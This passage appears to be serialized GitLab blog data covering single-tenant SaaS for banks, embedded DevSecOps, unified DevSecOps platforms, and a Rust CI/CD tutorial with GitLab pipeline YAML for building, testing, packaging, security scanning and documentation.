access to your private services without exposing any traffic to the public internet. The [auto-scaling architecture](https://docs.gitlab.com/runner/runner_autoscale/) provides the performance you need, without compromising security or control. \n \n## Rethinking control\n\nFor financial institutions, minimizing shared risk is only part of the equation — true resilience requires precise control over how systems operate, scale, and comply with regulatory frameworks. GitLab Dedicated enables comprehensive data sovereignty through multiple layers of customer control. You maintain complete authority over [encryption keys](https://docs.gitlab.com/administration/dedicated/encryption/#encrypted-data-at-rest) through [bring-your-own-key (BYOK)](https://docs.gitlab.com/administration/dedicated/encryption/#bring-your-own-key-byok) capabilities, ensuring that sensitive source code and configuration data remains accessible only to your organization. Even GitLab cannot access your encrypted data without your keys.\n\n[Data residency](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) becomes a choice rather than a constraint. You select your preferred AWS region to meet regulatory requirements and organizational data governance policies, maintaining full control over where your sensitive source code and intellectual property are stored.\n\nThis control extends to [compliance frameworks](https://docs.gitlab.com/user/compliance/compliance_frameworks/) that financial institutions require. The platform provides [comprehensive audit trails](https://docs.gitlab.com/user/compliance/audit_events/) and logging capabilities that support compliance efforts for financial services regulations like [Sarbanes-Oxley](https://about.gitlab.com/compliance/sox-compliance/) and [GLBA Safeguards Rule](https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act).\n\nWhen compliance questions arise, you work directly with GitLab's dedicated support team — experienced professionals who understand the regulatory challenges that organizations in highly regulated industries face.\n\n## Operational excellence without operational overhead\n\nGitLab Dedicated maintains [high availability](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) with [built-in disaster recovery](https://docs.gitlab.com/subscriptions/gitlab_dedicated/), ensuring your development operations remain resilient even during infrastructure failures. The dedicated resources scale with your organization's needs without the performance variability that shared environments introduce.\n\nThe [zero-maintenance approach](https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/) to CI/CD infrastructure eliminates a significant operational burden. Your teams focus on development while GitLab manages the underlying infrastructure, auto-scaling, and maintenance — including rapid security patching to protect your critical intellectual property from emerging threats. This operational efficiency doesn't come at the cost of security: the dedicated infrastructure provides enterprise-grade controls while delivering cloud-scale performance.\n\n## The competitive reality\n\nWhile some institutions debate infrastructure strategies, industry leaders are taking decisive action. [NatWest Group](https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/), one of the UK's largest financial institutions, chose GitLab Dedicated to transform their engineering capabilities:\n\n> *\"NatWest Group is adopting GitLab Dedicated to enable our engineers to use a common cloud engineering platform; delivering new customer outcomes rapidly, frequently and securely with high quality, automated testing, on demand infrastructure and straight-through deployment. This will significantly enhance collaboration, improve developer productivity and unleash creativity via a 'single-pane-of-glass' for software development.\"*\n>\n> **Adam Leggett**, Platform Lead - Engineering Platforms, NatWest\n\n## The strategic choice\n\nThe most successful financial institutions face a unique challenge: They have the most to lose from shared infrastructure risks, but also the resources to architect better solutions. \n\n**The question that separates industry leaders from followers:** Will you accept shared infrastructure risks as the price of digital transformation, or will you invest in infrastructure that treats your source code with the strategic importance it deserves?\n\nYour trading algorithms aren't shared. Your risk models aren't shared. Your customer data isn't shared.\n\n**Why is your development platform shared?**\n\n*Ready to treat your source code like the strategic asset it is? [Let’s chat](https://about.gitlab.com/solutions/finance/) about how GitLab Dedicated provides the security, compliance, and performance that financial institutions demand — without the compromises of shared infrastructure.*",{"featured":6,"template":798,"slug":954},"why-financial-services-choose-single-tenant-saas",{"content":956,"config":967},{"title":957,"description":958,"authors":959,"heroImage":961,"date":962,"body":963,"category":722,"tags":964},"Why now is the time for embedded DevSecOps","Learn how embedded development teams address long feedback cycles, manual compliance, and isolated development with DevSecOps.",[960],"Matt DeLaney","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659978/Blog/Hero%20Images/automation.png","2025-07-01","For embedded systems teams, DevSecOps has traditionally seemed like an approach better suited to SaaS applications than firmware development. But this is changing. Software is now a primary differentiator in hardware products. New market expectations demand modern development practices. In response, organizations are pursuing \"embedded DevSecOps.\"\n\nWhat is embedded DevSecOps? The application of collaborative engineering practices, integrated toolchains, and automation for building, testing, and securing software to embedded systems development. Embedded DevSecOps includes necessary adaptations for hardware integration.\n## Convergence of market forces\nThree powerful market forces are converging to compel embedded teams to modernize their development practices.\n### 1. The software-defined product revolution\nProducts once defined primarily by their hardware are now differentiated by their software capabilities. The software-defined vehicle (SDV) market tells a compelling story in this regard. It's projected to grow from $213.5 billion in 2024 to [$1.24 trillion](https://www.marketsandmarkets.com/Market-Reports/software-defined-vehicles-market-187205966.html) by 2030, a massive 34% compound annual growth rate.\nThe software content in these products is growing considerably. By the end of 2025, the average vehicle is expected to contain [650 million lines of code](https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/). Traditional embedded development approaches cannot handle this level of software complexity. \n### 2. Hardware virtualization as a technical enabler\nHardware virtualization is a key technical enabler of embedded DevSecOps. Virtual electronic control units (vECUs), cloud-based ARM CPUs, and sophisticated simulation environments are becoming more prevalent. Virtual hardware allows testing that once required physical hardware.\n\nThese virtualization technologies provide a foundation for continuous integration ([CI](https://about.gitlab.com/topics/ci-cd/)). But their value is fully realized only when integrated into an automated workflow. Combined with collaborative development practices and automated pipelines, virtual testing helps teams detect issues much earlier, when fixes are far less expensive. Without embedded DevSecOps practices and tooling to orchestrate these virtual resources, organizations can't capitalize on the virtualization trend.\n### 3. The competitive and economic reality\nThree interrelated forces are reshaping the competitive landscape for embedded development:\n- The talent war has shifted decisively. As an embedded systems leader at a GitLab customer explained, “No embedded engineers graduating from college today know legacy tools like Perforce. They know Git. These young engineers will work at a company for six months on legacy tools, then quit.” Companies using outdated tools may lose their engineering future.\n- This talent advantage translates into competitive superiority. Tech-forward companies that attract top engineers with modern practices achieve remarkable results. For example, in 2024, [SpaceX](https://spacenews.com/spacex-launch-surge-helps-set-new-global-launch-record-in-2024/) performed more orbital launches than the rest of the world combined. Tech-forward companies excel at software development and embrace a modern development culture. This, among other things, creates efficiencies that legacy companies struggle to match. \n- The rising costs of embedded development — driven by long feedback cycles — create an urgent need for embedded DevSecOps. When developers have to wait weeks to test code on hardware test benches, productivity remains inherently low. Engineers lose context and must switch contexts when results arrive. The problem worsens when defects enter the picture. Bugs become more expensive to fix the later they're discovered. Long feedback cycles magnify this problem in embedded systems.\n\nOrganizations are adopting embedded DevSecOps to help combat these challenges.\n## Priority transformation areas\nBased on these market forces, forward-thinking embedded systems leaders are implementing embedded DevSecOps in the following ways. \n### From hardware bottlenecks to continuous testing\nHardware-testing bottlenecks represent one of the most significant constraints in traditional embedded development. These delays create the unfavorable economics described earlier — when developers wait weeks for hardware access, defect costs spiral.\nAddressing this challenge requires a multifaceted approach including: \n* Automating the orchestration of expensive shared hardware test benches among embedded developers  \n* Integrating both SIL (Software-in-the-Loop) and HIL (Hardware-in-the-Loop) testing into automated CI pipelines  \n* Standardizing builds with version-controlled environments\n\nEmbedded developers can accomplish this with GitLab's [On-Premises Device Cloud](https://gitlab.com/gitlab-accelerates-embedded/comp/device-cloud), a CI/CD component. Through automating the orchestration of firmware tests on virtual and real hardware, teams are better positioned to reduce feedback cycles from weeks to hours. They also can catch more bugs early on in the software development lifecycle.\n### Automating compliance and security governance\nEmbedded systems face strict regulatory requirements. Manual compliance processes are unsustainable.\nLeading organizations are transforming how they comply with these requirements by: \n* Replacing manual workflows with automated [compliance frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/)  \n* Integrating specialized functional safety, security, and code quality tools into automated continuous integration pipelines  \n* Automating approval workflows, enforcing code reviews, and maintaining audit trails  \n* Configuring compliance frameworks for specific standards like ISO 26262 or DO-178C\n\nThis approach enables greater compliance maturity without additional headcount — turning what was once a burden into a competitive advantage. One leading electric vehicle (EV) manufacturer executes 120,000 CI/CD jobs per day with GitLab, many of which include compliance checks. And they can fix and deploy bug fixes to vehicles within an hour of discovery. This level of scale and speed would be extremely difficult without automated compliance workflows.\n### Enabling collaborative innovation\nHistorically, for valid business and technical reasons, embedded developers have largely worked alone at their desks. Collaboration has been limited. Innovative organizations break down these barriers by enabling shared code visibility through integrated source control and CI/CD workflows. These modern practices attract and retain engineers while unlocking innovation that would remain hidden in isolated workflows.\nAs one director of DevOps at a tech-forward automotive manufacturer (a GitLab customer) explains: \"It's really critical for us to have a single pane of glass that we can look at and see the statuses. The developers, when they bring a merge request, are aware of the status of a given workflow in order to move as fast as possible.\" This transparency accelerates innovation, enabling automakers to rapidly iterate on software features that differentiate their vehicles in an increasingly competitive market.\n## The window of opportunity\nEmbedded systems leaders have a clear window of opportunity to gain a competitive advantage through DevSecOps adoption. But the window won't stay open forever. Software continues to become the primary differentiator in embedded products, and the gap between leaders and laggards will only widen.\nOrganizations that successfully adopt DevSecOps will reduce costs, accelerate time-to-market, and unlock innovation that differentiates them in the market. The embedded systems leaders of tomorrow are the ones embracing DevSecOps today.\n> While this article explored why now is the critical time for embedded teams to adopt DevSecOps, you may be wondering about the practical steps to get started. Learn how to put these concepts into action with our guide: [4 ways to accelerate embedded development with GitLab](https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab/).",[965,766,109,966],"embedded DevOps","automotive",{"featured":6,"template":798,"slug":968},"why-now-is-the-time-for-embedded-devsecops",{"content":970,"config":979},{"title":971,"description":972,"authors":973,"heroImage":975,"date":976,"body":977,"category":722,"tags":978},"Why are organizations moving to a unified DevSecOps platform?","Learn about GitLab's comprehensive, unified DevSecOps platform, which integrates tools, enhances security, and leverages AI for efficient software development.",[974],"Itzik Gan Baruch","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097063/Blog/Hero%20Images/Blog/Hero%20Images/securitylifecycle-light_securitylifecycle-light.png_1750097063583.png","2025-06-02","In today’s modern software development landscape, many organizations are migrating to the cloud and adopting DevSecOps processes. However, this transition presents a significant challenge: a proliferation of tools and legacy systems not designed for modern development. To adapt these systems to DevSecOps, organizations must create integrations between multiple tools for task management, CI/CD, security, monitoring, and more. The result? Operational complexity, high maintenance costs, and disrupted collaboration between development and operations teams. Additionally, developers experience frustration as they constantly switch between different tools to complete a single development flow – from planning to production.\n\n![The complexity and operational costs of integrating multiple tools into a DevSecOps process](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097077287.jpg)\n\n\u003Ccenter>\u003Ci>How complex it can be to integrate multiple tools into a DevSecOps process\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nThe good news is that a solution exists: A comprehensive DevSecOps platform offering a unified approach to software development.\n\nThese platforms are built for organizations operating in cloud-based and DevSecOps environments, consolidating all software development stages — from code management, CI/CD processes, task management, and security to AI-driven automation — into a single platform. Centralizing all software development workflows in a unified interface enables development and operations teams to work more efficiently, streamline communication, and minimize operational complexities and disruptions.\n\nFurthermore, the developer experience significantly improves — engineers are much happier working with a product designed specifically for modern development needs.\n\nIn the sections below, we’ll explore how GitLab helps teams overcome common challenges — whether it’s managing projects and tasks, ensuring security and compliance, or adopting AI-powered development tools – all within a single, unified platform.\n\n## Integrated Agile project management\n\nGitLab provides a holistic solution in which project and task management are fully integrated across all stages of the software development lifecycle, such as CI/CD, enabling real-time tracking of development progress. Issues and epics directly link to automation processes, allowing a seamless flow from planning to production deployment. This approach enhances transparency across teams, reduces delays, and ensures that all stakeholders have a clear view of the development status in real-time.\n\n![Issues and epics directly link to automation processes, allowing a seamless flow from planning to production deployment.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097077288.jpg)\n\n## Built-in security\nGitLab strongly emphasizes integrating security capabilities end-to-end (security first). The platform integrates a wide range of automated security scanners, including:\n\n- [Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/)\n- [Static Application Security Testing (SAST)](https://docs.gitlab.com/user/application_security/sast/)\n- [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/user/application_security/dast/)\n- [Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/)\n- [Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/)\n\n![Security scanning capabilities integrated into the CI/CD process at various development stages](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097077289.jpg)\n\n\u003Ccenter>\u003Ci>Security scanning capabilities integrated into the CI/CD process at various development stages\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nThese security checks are built directly into every phase of the software development lifecycle, including the CI/CD pipeline, to provide developers with immediate feedback on potential security issues early in the development cycle.\n\n## Compliance and regulatory requirements\n\nBeyond efficiency and user experience, many organizations — especially those in regulated industries such as financial institutions or large enterprises — must ensure their processes comply with strict security and compliance standards. They need the ability to enforce policies for different projects, such as mandating a security scanner every time a CI/CD pipeline runs on specific code branches (e.g., main or protected branches) or requiring specific approvals before merging code into the main branch.\n\nWith GitLab, this becomes easier through [Compliance Frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/), a feature that allows organizations to define and enforce structured policies for selected projects. This ensures compliance with automatic regulatory and security requirements while maintaining a seamless and efficient developer workflow.\n\n## AI-powered development\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/) provides AI-driven assistance across all development stages, eliminating the need to switch to external tools. Every AI-powered request is processed within the full context of the project and codebase, enabling smarter and more efficient work.\n\nAI can perform example tasks such as:\n- automatic task description generation\n- smart summarization of issue discussions, saving developers valuable time\n- advanced code review capabilities\n- code improvement and optimization suggestions\n- automated test generation\n- security vulnerability detection and remediation\n- troubleshooting root cause analysis for CI pipeline failures\n- privacy and Data Security\n\nUnderstanding the needs of regulated organizations, particularly in the public and financial sectors, GitLab offers a unique solution for running AI models in a secure environment. GitLab Duo Self-Hosted enables organizations to maintain full control over data privacy, security, and the deployment of large language models ([LLMs](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/)) in their own infrastructure, ensuring:\n- data privacy protection\n- compliance with regulatory requirements\n- maximum security\n- AI benefits without external network dependencies or risks\n\n## Summary\n\nOrganizations need a comprehensive DevSecOps platform to streamline processes, enhance security, and accelerate innovation. GitLab delivers precisely that — a single application consolidating all essential development, security, and operational tools with built-in security integration and AI-powered automation.\n\nReady to see GitLab in action? Explore interactive demos of:\n\n- [GitLab Premium and Ultimate with Duo](https://gitlab.navattic.com/gitlab-premium-with-duo) – experience AI-powered development assistance\n\n- [Adding security to the CI/CD pipeline](https://gitlab.navattic.com/gitlab-scans) – see how integrated security scanning protects your software\n\n- [Compliance frameworks](https://gitlab.navattic.com/compliance) – discover how GitLab enforces policies across projects for better governance\n\n> Join the GitLab 18 virtual launch event to learn about the future of the DevSecOps platform, including the role of agentic AI. [Register today!](https://about.gitlab.com/eighteen/)",[718,486,766],{"slug":980,"featured":6,"template":798},"why-are-organizations-moving-to-a-unified-devsecops-platform",{"category":730,"slug":734,"posts":982},[983,994,1007],{"config":984,"content":986},{"slug":985,"featured":91,"template":798},"secure-rust-development-with-gitlab",{"title":987,"description":988,"authors":989,"tags":991,"heroImage":992,"category":734,"date":834,"body":993},"Secure Rust development with GitLab","Learn how GitLab supports Rust development through its CI/CD capabilities, security scanning, dedicated Rust integrations, AI features, and more.",[990],"Fernando Diaz",[269,847,811],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314674/tct6zf6evw0xgddd2vo3.png","Rust has emerged as one of the most beloved programming languages due to its performance,\nmemory safety, and concurrency features. As Rust adoption continues to grow, many developers\nare looking for robust CI/CD platforms to support their Rust projects.\n\nGitLab's appeal to Rust developers extends beyond simple code hosting. The platform offers\nrobust [CI/CD](https://about.gitlab.com/topics/ci-cd/) capabilities that align perfectly with Rust's emphasis on safety, performance, and reliability. GitLab makes it easy to create repositories and use off-the-shelf Docker\ncontainers to put together custom CI jobs. Developers can easily set up automated testing,\ncross-platform builds, and documentation generation. The platform's integrated approach to\nDevSecOps resonates with Rust's philosophy of providing comprehensive tooling out of the box.\n\n## About the demo application\n\nBeing interested in how mortgage rates affect monthly payments and how hard it is to\nto afford a house in the current times, I decided to write a [mortgage calculator](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/rust/mortgage-calculator) in Rust,\nwhich I will use as an example throughout this tutorial. Feel free to [import this project](https://docs.gitlab.com/user/project/import/repo_by_url/) and follow along.\n\nThe mortgage calculator will help users calculate monthly mortgage payments,\nincluding principal, interest, property taxes, insurance, PMI, and HOA fees. It provides a\nmodern, intuitive GUI using the [egui](https://www.egui.rs/) framework, as well as a CLI for running it in the terminal.\n\n![Mortgage calculator GUI](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/l5bjnzqvpoyikuyxpx2a.png)\n\nThis application contains a [`.gitlab-ci.yml`](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/rust/mortgage-calculator/-/blob/main/.gitlab-ci.yml?ref_type=heads) that generates a pipeline, which will build, test,\npackage, scan, and deploy the software. We will go over this pipeline definition in detail in the\nsections below.\n\n![Mortgage Calculator Pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314540/llmsfoaupedhkem0hjqp.png)\n\n## Building and testing Rust applications\n\nGitLab's Docker-based CI/CD system excels at Rust development workflows, providing a robust\nfoundation for compilation, testing, and code quality checks. The platform's caching mechanisms\nare particularly valuable for Rust projects, which can have lengthy compilation times due to the\nlanguage's thorough optimization and safety checking processes.\n\n### Building\n\nRust's excellent cross-compilation capabilities combined with GitLab's flexible CI/CD system\ncreate a powerful solution for building applications across multiple platforms. This is particularly\nvaluable for Rust applications that need to run on various operating systems and architectures without\nsacrificing performance or requiring platform-specific code.\n\n**Note:** You can learn more about the `.gitlab-ci.yml` by reading the [CI/CD YAML syntax reference](https://docs.gitlab.com/ci/yaml/).\n\n```yaml\n# Cache configuration to speed up builds by reusing dependencies\ncache:\n  key: $CI_COMMIT_REF_SLUG                               # Use branch name as cache key\n  paths:\n    - .cargo/                                            # Cache Cargo registry and git dependencies\n    - target/                                            # Cache compiled artifacts\n\n# Base template for Rust jobs - shared configuration\n.rust-template:\n  image: rust:$RUST_VERSION-slim                         # Use slim Rust image for faster downloads\n  before_script:\n    # Install system dependencies required for building the Rust application\n    - apt-get update && apt-get install -y pkg-config libssl-dev libgtk-3-dev libxcb-shape0-dev libxcb-xfixes0-dev\n\n# Template for cross-compilation build jobs\n.build-template:\n  extends: .rust-template                                # Inherit from rust-template\n  stage: build                                           # Execute during build stage\n  script:\n    - rustup target add $TARGET                          # Add the target platform for cross-compilation\n    - cargo build --release --target $TARGET             # Build optimized release binary for target platform\n\n# Build for Linux x86_64 (primary target platform)\nbuild-linux:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-unknown-linux-gnu                     # Linux 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: false                                   # This build must succeed\n\n# Build for Windows x86_64 (cross-compilation)\nbuild-windows:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-pc-windows-gnu                        # Windows 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: true                                    # Allow this build to fail (cross-compilation can be tricky)\n\n# Build for macOS x86_64 (cross-compilation)\nbuild-macos:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-apple-darwin                          # macOS 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: true                                    # Allow this build to fail (cross-compilation can be tricky)\n```\n\nThis GitLab CI configuration defines three build jobs that cross-compile a Rust mortgage calculator\napplication for different platforms:\n\n* `build-linux` creates a Linux x86_64 binary (required to pass)\n* `build-windows` creates Windows binaries (allowed to fail)\n* `build-macos` creates macOS x86_64 binaries (allowed to fail)\n\nAll builds use shared templates for dependency caching and consistent build environments.\n\n### Testing\n\nGitLab CI/CD streamlines code testing through its integrated pipeline system that automatically\ntriggers test suites whenever code is pushed to the repository. Developers can define multiple\ntypes of tests — unit tests, integration tests, linting, and formatting checks — all within a single\n`.gitlab-ci.yml` configuration file, with each test running in isolated Docker containers to ensure\nconsistent environments.\n\n```yaml\n# Run unit tests\ntest:unit:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - cargo test --verbose                               # Run all unit tests with verbose output\n\n# Run integration tests using the compiled binary\ntest:integration:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    # Test the compiled binary with sample inputs and verify expected output\n    - target/x86_64-unknown-linux-gnu/release/mortgage-calculator --cli calculate --property-value 350000 --down-payment 70000 --interest-rate 5.0 | grep -q \"TOTAL MONTHLY PAYMENT\"\n  needs:\n    - build-linux                                        # Depends on Linux build job completing\n\n# Run Clippy linter for code quality checks\ntest:clippy:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - rustup component add clippy                        # Install Clippy linter\n    - cargo clippy -- -D warnings                       # Run Clippy and treat warnings as errors\n  allow_failure: true                                    # Allow linting failures (can be improved over time)\n\n# Check code formatting\ntest:format:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - rustup component add rustfmt                       # Install Rust formatter\n    - cargo fmt -- --check                              # Check if code is properly formatted\n  allow_failure: true                                    # Allow formatting failures (can be improved over time)\n```\n\nThis GitLab CI configuration creates four test jobs that validate a Rust mortgage calculator application:\n\n* `test:unit` runs unit tests\n* `test:integration` executes the compiled Linux binary with sample inputs to verify functionality\n* `test:clippy` performs code quality linting (allowed to fail)\n* `test:format` checks code formatting compliance (allowed to fail)\n\n## Package and Container Registries\n\nGitLab's [Package Registry](https://docs.gitlab.com/user/packages/package_registry/) provides a secure solution to the common challenge of sharing\ninternal libraries and proprietary code within organizations. This capability is essential\nfor enterprises and teams that need to maintain artifacts while leveraging the broader\nRust ecosystem.\n\nThe registry supports [generic artifacts](https://docs.gitlab.com/user/packages/generic_packages/) with fine-grained access controls that\nalign with GitLab's project permissions. This means teams can share libraries securely across\nprojects while maintaining intellectual property protection and compliance requirements.\n\nAdditonally, we can containerize our application and store the container images in\nGitLab's built-in [Container Registry](https://docs.gitlab.com/user/packages/container_registry/).\n\n### Publishing to GitLab Package Registry\n\nThis section of our `.gitlab-ci.yml` demonstrates how to package and publish Rust applications\nas tar archives to GitLab's generic package registry using CI/CD automation.\n\n```yaml\n# Package application as tar archive\npackage:tar:\n  image: alpine/curl:8.12.1                             # Lightweight image with curl for uploading\n  stage: package                                         # Execute during package stage\n  variables:\n    PACKAGE_NAME: mortgage-calculator.tar.gz             # Name of the archive file\n  script:\n    # Create tar archive of the Linux binary\n    - tar -czvf $PACKAGE_NAME target/x86_64-unknown-linux-gnu/release/mortgage-calculator\n    # Upload archive to GitLab Package Registry using API\n    - |\n      curl -v --location --header \"JOB-TOKEN: $CI_JOB_TOKEN\" \\\n      --upload-file $PACKAGE_NAME \\\n      \"$CI_API_V4_URL/projects/$CI_PROJECT_ID/packages/generic/tar/$CI_COMMIT_BRANCH/$PACKAGE_NAME\"\n  artifacts:\n    paths:\n      - target/x86_64-unknown-linux-gnu/release/mortgage-calculator  # Save binary\n      - mortgage-calculator.tar.gz                      # Save archive\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  needs:\n    - build-linux                                        # Depends on Linux build completing\n```\n\nThis GitLab CI configuration defines one packaging job `package:tar` that creates a compressed tar archive\nof the Linux mortgage calculator binary and uploads it to GitLab's Package Registry, while also saving\nboth the binary and archive as pipeline artifacts.\n\n![Package Registry](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/uqnejcipnge3r1dngotm.png)\n\n### Publishing to GitLab Container Registry\n\nThe below shows the process of building Dockerfiles and publishing Docker images to GitLab's\nContainer Registry with proper tagging and authentication.\n\n```yaml\n# Package application as Docker image\npackage:docker:\n  image: docker:24.0                                     # Use Docker image for building containers\n  stage: package                                         # Execute during package stage\n  services:\n    - docker:24.0-dind                                   # Docker-in-Docker service for building images\n  before_script:\n    # Login to GitLab Container Registry\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker build -t $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG .  # Build Docker image with commit SHA tag\n    - docker tag $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG $DOCKER_IMAGE_NAME:latest  # Also tag as latest\n    - docker push $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG  # Push tagged image to registry\n    - docker push $DOCKER_IMAGE_NAME:latest             # Push latest image to registry\n```\n\nThis GitLab CI configuration defines one Docker packaging job `package:docker` that builds a Docker\nimage of the mortgage calculator application, tags it with both the commit SHA and \"latest,\" and\nthen pushes both tagged versions to  GitLab's Container Registry.\n\n![Container Registry](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314537/nlodhvdnpqccf0cryfqu.png)\n\n## Security scanning\n\nGitLab security scanning provides comprehensive protection that goes beyond Rust's built-in memory\nsafety guarantees. While Rust prevents many common security vulnerabilities at compile time,\napplications still need protection against dependency vulnerabilities, unsafe code blocks, and\nlogical security issues.\n\nThe platform's Static Application Security Testing (SAST) integrates seamlessly with\nRust's toolchain, providing automated security analysis as part of the CI/CD pipeline\nThis proactive approach catches security issues before they reach production, supporting\nboth compliance requirements and secure development practices.\n\nGitLab's comprehensive security features including SAST, dependency scanning, secret detection\nand more can easily be implemented via templates, as seen below. **Note:** Additional configuration is\nrequired to [enable SAST for Rust](https://docs.gitlab.com/user/application_security/sast/#scan-a-rust-application).\n\n```yaml\n# Include GitLab's security scanning templates for DevSecOps\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml                    # Static Application Security Testing\n  - template: Jobs/Dependency-Scanning.latest.gitlab-ci.yml  # Scan dependencies for vulnerabilities\n  - template: Jobs/Container-Scanning.gitlab-ci.yml      # Scan Docker containers for vulnerabilities\n  - template: Jobs/SAST-IaC.gitlab-ci.yml               # Infrastructure as Code security scanning\n  - template: Jobs/Secret-Detection.gitlab-ci.yml        # Detect secrets in source code\n```\n\nSecurity scanners can be configured similar to how you would configure any GitLab job:\n\n```yaml\n# Configure Semgrep SAST scanning for Rust files\nsemgrep-sast:\n  rules:\n    - if: $CI_COMMIT_BRANCH                              # Run on any branch\n      exists:\n        - \"**/*.rs\"                                      # Only if Rust files exist\n  variables:\n    SAST_EXCLUDED_PATHS: \".cargo/**\"                     # Exclude Cargo cache from scanning\n\n# Scan Docker container for security vulnerabilities\ncontainer_scanning:\n  stage: container-security                              # Execute during container-security stage\n  variables:\n    CS_IMAGE: $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG      # Image to scan\n    CS_DOCKERFILE_PATH: Dockerfile                       # Path to Dockerfile for context\n  needs:\n    - package:docker                                     # Depends on Docker image being built\n```\n\nWhen vulnerabilites are detected in a merge request (MR), you can see all the vulnerabilites detected\nand use the provided information to either resolve or dismiss vulnerabilities.\n\n![Vulnerability MR view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314544/gcicke3ltvbcv57mr8zr.png)\n\nYou also can add [Security Policies](http://docs.gitlab.com/user/application_security/policies/) to require approval before vulnerable code can be merged, or to force scanners to run regardless of what is in the `.gitlab-ci.yml`.\n\n![Merge Request Approval Policy](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/c95nwocol03lonrr6r4n.png)\n\nYou can triage all the vulnerabilities found in your default branch by using the\n[Vulnerability Report](https://docs.gitlab.com/user/application_security/vulnerability_report/):\n\n![Vulnerability Report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314544/b0nctigbv1ddpzizkp9x.png)\n\n## Documentation with GitLab Pages\n\n[GitLab Pages](https://docs.gitlab.com/user/project/pages/) provides an excellent platform for\nhosting Rust documentation, integrating seamlessly with Cargo's built-in documentation generation.\nThis creates a powerful workflow where API documentation, project guides, and examples are automatically\ngenerated and deployed with every code change.\n\nThe combination of `cargo doc` and GitLab Pages enables teams to maintain up-to-date documentation\nwithout manual intervention, ensuring that documentation stays synchronized with code changes.\nThis is particularly valuable for Rust projects where comprehensive documentation is essential\nto understand complex APIs and safety contracts.\n\n### Automated documentation deployment\n\nThe following code shows the CI/CD configuration for automatically generating and deploying Rust documentation using\n`cargo doc` and GitLab Pages.\n\n```yaml\n# Generate and publish documentation using GitLab Pages\nbuild-documentation:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: build                                           # Execute during build stage\n  variables:\n    GIT_SUBMODULE_STRATEGY: recursive                    # Clone submodules recursively if needed\n  pages: true                                            # Enable GitLab Pages deployment\n  script:\n    - cargo doc --no-deps                                # Generate documentation without dependencies\n    - mv target/doc public                               # Move docs to public directory for Pages\n  artifacts:\n    paths:\n      - public                                           # GitLab Pages serves from public directory\n  rules:\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH     # Only run on default branch (main/master)\n  environment:\n    name: documentation                                  # Environment name for tracking\n    url: $CI_PAGES_URL/mortgage_calculator/index.html   # Documentation URL\n  allow_failure: true                                    # Allow documentation build to fail\n```\n\nOnce the job is complete, you can see the deployed documentation by visiting the [GitLab Environment](https://docs.gitlab.com/ci/environments/) it has been deployed to.\n\n![Pages environment](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/aofa6wwjugeyeshuwg9r.png)\n\nThis allows you to manage multiple versions of the documentation in different envrionments.\nThe documentation will be deployed consistent with the `cargo doc` 